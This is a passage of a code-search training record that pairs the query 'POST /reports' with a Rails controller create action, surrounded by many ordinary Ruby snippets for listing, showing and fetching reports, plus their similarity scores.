ExternalOtrunkActivity.find(params[:external_otrunk_activity_id]).reports\n else\n @reports = Report.search(params[:search], params[:page], current_user)\n end\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @reports }\n end\n end", "def index\n if params[:date].present?\n begin\n @date = Date.parse(params[:date])\n rescue => e\n Rails.logger.debug [e.class, e.message].join(' ')\n end\n end\n\n @date ||= (Report.latest_date.presence || Date.today)\n @reports = Report.date(@date).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reports }\n end\n end", "def index\n @individual_reports = @medical_record.individual_reports.paginate(:page => params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @individual_reports }\n end\n end", "def index\n @reports = Report.page(params[:page])\n end", "def reports\n backend.reports\n end", "def show\n @software_report = SoftwareReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @software_report }\n end\n end", "def show\n @dailyreport_job = DailyreportJob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @dailyreport_job }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report_type }\n end\n end", "def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report_type }\n end\n end", "def reports\r\n ReportsController.instance\r\n end", "def fetch_reports\n # fetch all the reports using this method and then create a Report for each of them\n end", "def index\n @reports = Report.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reports }\n end\n end", "def reports_path; end", "def reports_path; end", "def xml_report\n @xml_report ||= parse\n end", "def get_report(report_id, params = {})\n response = get(\"/\", {\"Action\" => \"GetReport\", \"ReportId\" => report_id})\n # TODO format response\n end", "def get_report(params = {})\n values = params.slice(:vendor_number, :report_type, :report_sub_type, :date_type, :date).values\n if params[:version]\n values << params[:version]\n end\n\n fetch(@config[:sales_path], (['Sales.getReport'] + [values.join(',')]).join(', '))\n end", "def test_downloadXmlReport\n report_srv = @adwords.get_service(13, 'Report')\n\n # First we schedule a report\n job = AdWords::V13::ReportService::DefinedReportJob.new\n job.selectedReportType = 'Structure'\n job.aggregationTypes = 'Keyword'\n job.name = 'Report-%s' % DateTime.now.to_s\n job.selectedColumns = %w{Campaign AdGroup Keyword KeywordTypeDisplay}\n job.startDay = '2009-01-01'\n job.endDay = '2009-01-31'\n job_id = report_srv.scheduleReportJob(job).scheduleReportJobReturn\n\n # Now we use the downloadXmlReport method to download it\n report_data = report_srv.downloadXmlReport(job_id)\n\n # See if we got anything back\n assert((!report_data.nil? and !report_data.strip.empty?),\n 'Empty report returned; unable to verify correctness')\n\n # Check if we received valid XML as a reply\n doc = REXML::Document.new(report_data)\n\n # See if what we got back was XML, as we expected\n assert_not_nil(doc, 'Invalid XML returned; unable to verify correctness')\n end", "def show\n @comparative_report = ComparativeReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @comparative_report }\n end\n end", "def get_all_reports(type)\n \n LOGGER.info \"get all reports of type '\"+type.to_s+\"'\"\n check_report_type(type)\n @persistance.list_reports(type).collect{ |id| get_uri(type,id) }.join(\"\\n\")\n end", "def report_get id\n call! report_get, id\n end", "def show\n @inpatientdailyreport = Inpatientdailyreport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @inpatientdailyreport }\n end\n end", "def get_report_list\n res=api_call('GetReportList')[:data]\n end", "def show\n @report = Rails.cache.fetch(\"reports/#{params[:id]}\", :expires_in => 1.week) do\n Report.without(:email).find(params[:id])\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report }\n end\n end", "def show\n @report_line = ReportLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report_line }\n end\n end", "def show\n @report = Report.find(params[:id])\n end", "def show\n @report = Report.find(params[:id])\n end", "def types\n @client.make_request :get, reports_path\n end", "def show\n @report = Report.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report }\n format.csv { send_data @report.to_csv, :filename => @report.title + '.csv' }\n format.xls { send_data @report.to_xls, :filename => @report.title + '.xls' }\n end\n end", "def index\n @client_reports = Client::Report.all\n end", "def show\n @report = Report.find(params[:id])\n end", "def show\n @tps_report = TpsReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tps_report }\n end\n end", "def index\n @reports = Report.last(7)\n @diaries = Report.order(:created_at)\n respond_to do |format|\n format.html\n format.csv { send_data @diaries.to_csv }\n format.xls { send_data @diaries.to_csv(col_sep: \"\\t\") }\n end\n end", "def report\n content = Nokogiri::XML::Builder.new do |xml|\n xml.get_tasks(task_id: id)\n end\n result = Nokogiri::XML(@agent.sendrecv(content.to_xml))\n report_id = result.at_css('report')[:id]\n content = Nokogiri::XML::Builder.new do |xml|\n xml.get_reports(report_id: report_id)\n end\n Hash.from_xml(@agent.sendrecv(content.to_xml)).deep_symbolize_keys\n end", "def show\n\t\t@report = Report.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @report }\n\t\tend\n\tend", "def index\n @user_reports = UserReport.find_all_by_spam(false, :include => :user, :order => 'user_reports.created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @user_reports }\n end\n end", "def reports(from_id, start_date = nil, end_date = nil)\n params = []\n\n if from_id\n params << \"from_id=#{from_id}\"\n end\n\n if start_date and not end_date\n raise 'must include both start_date and end_date'\n end\n if end_date and not start_date\n raise 'must include both start_date and end_date'\n end\n\n if start_date and end_date\n params << \"start_date=#{start_date.strftime('%FT%T.%L%z')}\"\n params << \"end_date=#{end_date.strftime('%FT%T.%L%z')}\"\n end\n\n query = \"#{@endpoint}?\"\n\n if params.size > 0\n query << params.join('&')\n end\n\n get query\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report }\n end\n end", "def get_reports_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ReportApi.get_reports ...'\n end\n # resource path\n local_var_path = '/api/3/reports'\n\n # query parameters\n query_params = {}\n query_params[:'page'] = opts[:'page'] if !opts[:'page'].nil?\n query_params[:'size'] = opts[:'size'] if !opts[:'size'].nil?\n query_params[:'sort'] = @api_client.build_collection_param(opts[:'sort'], :multi) if !opts[:'sort'].nil?\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json;charset=UTF-8'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'PageOfReport')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ReportApi#get_reports\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def index\n @screen = session.active_screen\n @reports = Report.find(:all)\n\n @reports.sort!{|a,b| a.name <=> b.name }\n \n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @reports }\n end\n end", "def show\n @group_report = GroupReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @group_report }\n end\n end", "def index\n @action_reports = ActionReport.all\n end", "def new\n @report = Mg::Report.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report }\n end\n end", "def show\n @report = Report.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report }\n end\n end", "def show\n @report = Report.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report }\n end\n end", "def show\n @report = Report.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report }\n end\n end", "def show\n @report = Report.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @report }\n end\n end", "def index\n @et_reports = EtReport.all\n end", "def show\n @user_report = UserReport.find(params[:id])\n\n respond_to do |format|\n format.html # edit.html.erb\n format.xml { render :xml => @user_report }\n end\n end", "def my_reports\n @reports ||= Report.user(current_user).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @reports }\n end\n end", "def new\n @dailyreport = Dailyreport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dailyreport }\n end\n end", "def index\n\t\treports = Report.all\n\t\tif !reports.nil?\n\t\t\trender :json => {:success => \"true\", :reports => reports}\n\t\telse\n\t\t\trender :json => {:success => \"false\"}\n\t\tend\n\tend", "def report\n @scan = find_scan( params.require( :id ) )\n\n format = URI( request.url ).path.split( '.' ).last\n render layout: false,\n content_type: FrameworkHelper.content_type_for_report( format ),\n text: FrameworkHelper.framework { |f| f.report_as format, @scan.report.object }\n end", "def show\n @report_field = ReportField.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report_field }\n end\n end", "def index\n @dynamic_reports = DynamicReport.all\n end", "def index\n @journal_doc_reports = JournalDocReport.all\n end", "def show_report\n report = User.find(params[:id]).reports.find(params[:r_id])\n render :json => report\n end", "def show\n @spam_report = SpamReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @spam_report }\n end\n end", "def show\n @quarterly_report = QuarterlyReport.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @quarterly_report }\n end\n end", "def getReport(filename)\n result = @driver.GetGeneratedReports(:ApiKey => @apikey)\n if result.getGeneratedReportsResult.errorCode == \"0\" then\n response = result.getGeneratedReportsResult.items.apiResponseItem\n @reportlist = Hash.new\n response.each do |res|\n @reportlist.update(res.filename => res.fullPath)\n end\n output = @reportlist[filename]\n else\n output = result.getGeneratedReportsResult.errorMessage\n end\n return output\n end", "def new\n @report2 = Report2.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report2 }\n end\n end", "def report_file1_download(id)\r\n\t\tpost= { \"token\" => @token, \"report\" => id, \"v1\" => \"true\" } \r\n\t\tfile=nessus_http_request('file/report/download', post)\r\n\t\treturn file\r\n\tend", "def index\n @visit_stats = VisitStat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @visit_stats }\n end\n end", "def index\n @admin_reports = Admin::Report.all\n end", "def show\n @reports_translation = ReportsTranslation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reports_translation }\n end\n end", "def show\n @reports_translation = ReportsTranslation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @reports_translation }\n end\n end", "def show\n report = Report.find(params[:id])\n redirect_to report.url\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render xml: @download_registrations }\n end\n end", "def index\n\t\t@node = current_user.nodes.find(params[:node_id])\n\t\t@reports = @node.reports\n\t\t@title = \"Todos los reportes de #{current_user.nodes.find(params[:node_id]).fqdn}\"\n\tend", "def index\n @daily_reports = DailyReport.all\n end" ]
[ "0.73724204", "0.7359293", "0.70133173", "0.698434", "0.69629735", "0.69508386", "0.6885953", "0.6882204", "0.6874107", "0.6843494", "0.6843494", "0.68245757", "0.67587614", "0.6729209", "0.6665831", "0.66242594", "0.65976244", "0.65976244", "0.65976244", "0.65976244", "0.65976244", "0.65976244", "0.65976244", "0.65976244", "0.65976244", "0.65976244", "0.65976244", "0.65976244", "0.65976244", "0.65865886", "0.6549973", "0.6493989", "0.64937514", "0.6482567", "0.64770436", "0.6467056", "0.6457175", "0.64490086", "0.64490086", "0.6440325", "0.6439411", "0.6439104", "0.64151126", "0.64151126", "0.6408134", "0.64036745", "0.63976485", "0.6389778", "0.6377058", "0.63722646", "0.63631403", "0.6360502", "0.6353369", "0.63516027", "0.63508713", "0.6334919", "0.6334919", "0.6321115", "0.63003325", "0.6298629", "0.62906736", "0.6279052", "0.6278222", "0.62674606", "0.6246721", "0.62428015", "0.62324", "0.6225115", "0.6211812", "0.6202103", "0.6200483", "0.61984473", "0.61960065", "0.61869705", "0.61869705", "0.61869705", "0.6186139", "0.61689097", "0.61679894", "0.61519706", "0.6151756", "0.6134059", "0.6130452", "0.6130286", "0.6121438", "0.6118997", "0.6116764", "0.610504", "0.6103138", "0.60969764", "0.6088081", "0.6086715", "0.6085276", "0.6082392", "0.60810345", "0.60810345", "0.60712034", "0.6063366", "0.60616136", "0.60585517" ]
0.6915653
6
GET /reports/new GET /reports/new.xml
def new @report = Report.new @circoli_a = Array.new @circoli = Society.find(:all) @circoli.each do |c| @circoli_a << c.society end respond_to do |format| format.html # new.html.erb format.xml { render :xml => @report } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report }\n end\n end", "def new\n @report = Mg::Report.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report }\n end\n end", "def new\n @dailyreport = Dailyreport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dailyreport }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report_type }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report_type }\n end\n end", "def new\n @report2 = Report2.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report2 }\n end\n end", "def new\n @tps_report = TpsReport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tps_report }\n end\n end", "def new\n @comparative_report = ComparativeReport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @comparative_report }\n end\n end", "def new\n @report = Report.new\n session[:report_id] = nil\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report }\n end\n end", "def new\n @user_report = UserReport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_report }\n end\n end", "def new\n @report_line = ReportLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report_line }\n end\n end", "def new\n @software_report = SoftwareReport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @software_report }\n end\n end", "def new\n @dailyreport_job = DailyreportJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dailyreport_job }\n end\n end", "def new\n @spam_report = SpamReport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @spam_report }\n end\n end", "def new\n @report = Report.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @report }\n end\n end", "def new\n @report = Report.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @report }\n end\n end", "def new\n @report = Report.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @report }\n end\n end", "def new\n @report = Report.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @report }\n end\n end", "def new\n @inpatientdailyreport = Inpatientdailyreport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @inpatientdailyreport }\n end\n end", "def new\n @event = Event.find(params[:event_id])\n @report = @event.reports.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @report }\n end\n end", "def new\n @report_field = ReportField.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report_field }\n end\n end", "def new\n @user_reports = UserReport.new(params[:user_report])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @user_reports }\n end\n end", "def new\n @group_report = GroupReport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @group_report }\n end\n end", "def new\n @summary_report = SummaryReport.new\n @projects = Project.find :all\n @users = User.find :all\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @summary_report }\n end\n end", "def new\n @report_file = ReportFile.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @report_file }\n end\n end", "def new\n @ort = OtrunkReportTemplate.find(:all).map {|ort| [ort.name, ort.id]}\n @report.public = true\n @report.user = current_user\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report }\n end\n end", "def new\n @export = Export.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @export }\n end\n end", "def new\n @statusreport = Statusreport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @statusreport }\n end\n end", "def new\n @stores_report = Stores::Report.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stores_report }\n end\n end", "def new\n @report_field_template = ReportFieldTemplate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report_field_template }\n end\n end", "def new\n @report = current_user.reports.new\n @sources = current_user.sources\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @report }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @download = Download.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @download }\n end\n end", "def new\n @download = Download.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @download }\n end\n end", "def new\n @management_info_system_report = ManagementInfoSystemReport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @management_info_system_report }\n end\n end", "def new\n @report_group = Irm::ReportGroup.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report_group }\n end\n end", "def new\n @dashboard = Dashboard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dashboard }\n end\n end", "def new\n @dashboard = Dashboard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dashboard }\n end\n end", "def new\n @quarterly_report = QuarterlyReport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @quarterly_report }\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @software }\n end\n end", "def create\n respond_to do |format|\n if @report.save\n format.html { redirect_to(@report, :notice => 'Report was successfully created.') }\n format.xml { render :xml => @report, :status => :created, :location => @report }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @trial = Trial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @trial }\n end\n end", "def new\n @tracker = Tracker.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tracker }\n end\n end", "def new\n @analysis = Analysis.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @analysis }\n end\n end", "def new\n \n #@neuotransmitter_report = NeuotransmitterReport.new\n # LDN_report = Nokogiri::XML(open(\"LDN_neurotransmitter_report\"))\n \n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @neuotransmitter_report }\n end\n end", "def new\n @uncoiler_report = UncoilerReport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @uncoiler_report }\n end\n end", "def new\n get_sources\n @stg_source = StgSource.all\n @report = Report.find(params[:report_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @source }\n end\n end", "def new\n @fin_report = FinReport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fin_report }\n end\n end", "def new\n @inventory_report = InventoryReport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @inventory_report }\n end\n end", "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @page }\n end\n end", "def new\n @scraper = Scraper.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @scraper }\n end\n end", "def new\n respond_to do |format|\n format.html\n format.xml\n end\n end", "def new\n @suite = Suite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @suite }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @notifier }\n end\n end", "def new\n @document_status = DocumentStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @document_status }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @download_registration }\n end\n end", "def create\n @report = Report.new(params[:report])\n\n respond_to do |format|\n if @report.save\n format.html { redirect_to(@report, :notice => 'Report was successfully created.') }\n format.xml { render :xml => @report, :status => :created, :location => @report }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @sprint = Sprint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sprint }\n end\n end", "def new\n @sprint = Sprint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sprint }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @import }\n end\n end", "def create\n\n\n @report = Report.new(params[:report])\n respond_to do |format|\n if @report.save\n format.html { redirect_to(@report, :notice => 'Report was successfully created.') }\n format.xml { render :xml => @report, :status => :created, :location => @report }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @rssnew = Rssnews.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @rssnew }\n end\n end", "def new\n @daily_grr = DailyGrr.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @daily_grr }\n end\n end", "def new_rest\n @instrument_version = InstrumentVersion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @instrument_version }\n end\n end", "def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end", "def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end", "def new\n @temp = Temp.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @temp }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml \n end\n end", "def create\n @report = Mg::Report.new(params[:report])\n\n respond_to do |format|\n if @report.save\n format.html { flash[:notice] = 'Your report was successfully created, now add some report items.'; redirect_to(edit_mg_report_url @report) }\n format.xml { render :xml => @report, :status => :created, :location => @report }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @survey_report = SurveyReport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @survey_report }\n end\n end", "def index\n @reports = Report.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @reports }\n end\n end", "def new\n if params[:type].nil? || params[:type].blank?\n redirect_to reports_path, :alert => \"You must select a report type to create a new report\"\n else\n @report_type = ReportType.find_by_name(params[:type].titleize)\n @report = @report_type.reports.new\n @report_type.build_information_for(@report)\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @report }\n end\n end\n end", "def new\n @visit_stat = VisitStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @visit_stat }\n end\n end", "def new\n @individual_report = @medical_record.individual_reports.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @individual_report }\n end\n end", "def new\n @data_set = DataSet.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @data_set }\n end\n end", "def new\n @journal = Journal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @journal }\n end\n end", "def new\n @sprint = Sprint.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @sprint }\n end\n end", "def new\n respond_to do |format|\n format.xml { render :xml => @schedule }\n end\n end", "def new\n @research = Research.new\n @page_title = \"Request research from White House 2 members\"\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @research.to_xml(:except => [:email]) }\n end\n end", "def new\n @doc = Doc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @doc }\n end\n end", "def report(id)\n get(\"reports/#{id}\")\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job_runner }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @job }\n end\n end", "def new_rest\n @entry_instrument = EntryInstrument.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @entry_instrument }\n end\n end", "def new\n @test_plan = TestPlan.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @test_plan }\n end\n end", "def new\n @dataset = Dataset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def new\n @dataset = Dataset.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @dataset }\n end\n end", "def new\n @new_employee_request = NewEmployeeRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @new_employee_request }\n end\n end", "def new\n @savings = Savings.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @savings }\n end\n end", "def new\n @portfolio = Portfolio.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @portfolio }\n end\n end", "def new\n @index = Index.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @index }\n end\n end", "def new\n @document = Document.new\n\n respond_to do |wants|\n wants.html # new.html.erb\n wants.xml { render :xml => @document }\n end\n end", "def new\n @ref = Ref.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ref }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @compliance }\n end\n end", "def new\n @want = Want.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @want }\n end\n end", "def new\n @mailfetch = Mailfetch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @mailfetch }\n end\n end", "def new\n @transfer_slip = TransferSlip.new\n @report = Report.find(params[:report_id]) if params[:report_id]\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @transfer_slip }\n end\n end", "def new\n @resolved = Resolved.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @resolved }\n end\n end", "def create_new_report!; end", "def create_new_report!; end", "def new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @finish }\n end\n end" ]
[ "0.7788002", "0.7672338", "0.74192786", "0.7354779", "0.7354779", "0.7220278", "0.71483624", "0.70779586", "0.70662063", "0.7063311", "0.70581967", "0.7047558", "0.701259", "0.70107883", "0.69924396", "0.69924396", "0.69924396", "0.69924396", "0.69269466", "0.6923664", "0.6903607", "0.6877718", "0.687605", "0.6836373", "0.6813013", "0.6803169", "0.6782837", "0.6775857", "0.6747906", "0.6737004", "0.6653117", "0.66460454", "0.66194195", "0.66194195", "0.6608583", "0.6607337", "0.65969807", "0.65969807", "0.6594795", "0.65908164", "0.65890694", "0.6588827", "0.6587495", "0.6545211", "0.6526694", "0.6523727", "0.651351", "0.6503782", "0.6500087", "0.64952886", "0.64942724", "0.6492812", "0.64858884", "0.6476135", "0.6474265", "0.6471749", "0.6470791", "0.6460024", "0.6460024", "0.6457317", "0.6452165", "0.6449023", "0.64398724", "0.6439197", "0.6432159", "0.6432159", "0.6425546", "0.64214116", "0.6416372", "0.64113", "0.6407456", "0.6405758", "0.64002013", "0.6395328", "0.63952184", "0.6378779", "0.63684165", "0.6363198", "0.6358204", "0.6346928", "0.6343773", "0.63420206", "0.63405114", "0.6337913", "0.6331011", "0.63302475", "0.63302475", "0.6327741", "0.632189", "0.6319471", "0.6319006", "0.63174456", "0.63163847", "0.6316324", "0.63121873", "0.6310863", "0.63095665", "0.63050425", "0.62960607", "0.62960607", "0.62938905" ]
0.0
-1
POST /reports POST /reports.xml
def create @report = Report.new(params[:report]) respond_to do |format| if @report.save format.html { redirect_to(@report, :notice => 'Report was successfully created.') } format.xml { render :xml => @report, :status => :created, :location => @report } else format.html { render :action => "new" } format.xml { render :xml => @report.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def report\n @report = Report.create(reports_params)\n if @report.valid?\n render json: {}, status: :created\n else\n render json: { error: 'failed to create report' }, status: :internal_server_error\n end\n end", "def create\n\n\n @report = Report.new(params[:report])\n respond_to do |format|\n if @report.save\n format.html { redirect_to(@report, :notice => 'Report was successfully created.') }\n format.xml { render :xml => @report, :status => :created, :location => @report }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if @report.save\n format.html { redirect_to(@report, :notice => 'Report was successfully created.') }\n format.xml { render :xml => @report, :status => :created, :location => @report }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @report = Mg::Report.new(params[:report])\n\n respond_to do |format|\n if @report.save\n format.html { flash[:notice] = 'Your report was successfully created, now add some report items.'; redirect_to(edit_mg_report_url @report) }\n format.xml { render :xml => @report, :status => :created, :location => @report }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @report.errors, :status => :unprocessable_entity }\n end\n end\n end", "def post_report dep_name, user, vars, log\n require 'net/http'\n require 'uri'\n\n returning(Net::HTTP.post_form(\n URI.parse('http://gist.github.com/api/v1/xml/new'),\n {\n \"files[from]\" => user,\n \"files[vars.yml]\" => vars,\n \"files[#{dep_name}.log]\" => log.decolorize\n }\n )) do |response|\n report_report_result dep_name, response\n end.is_a? Net::HTTPSuccess\n 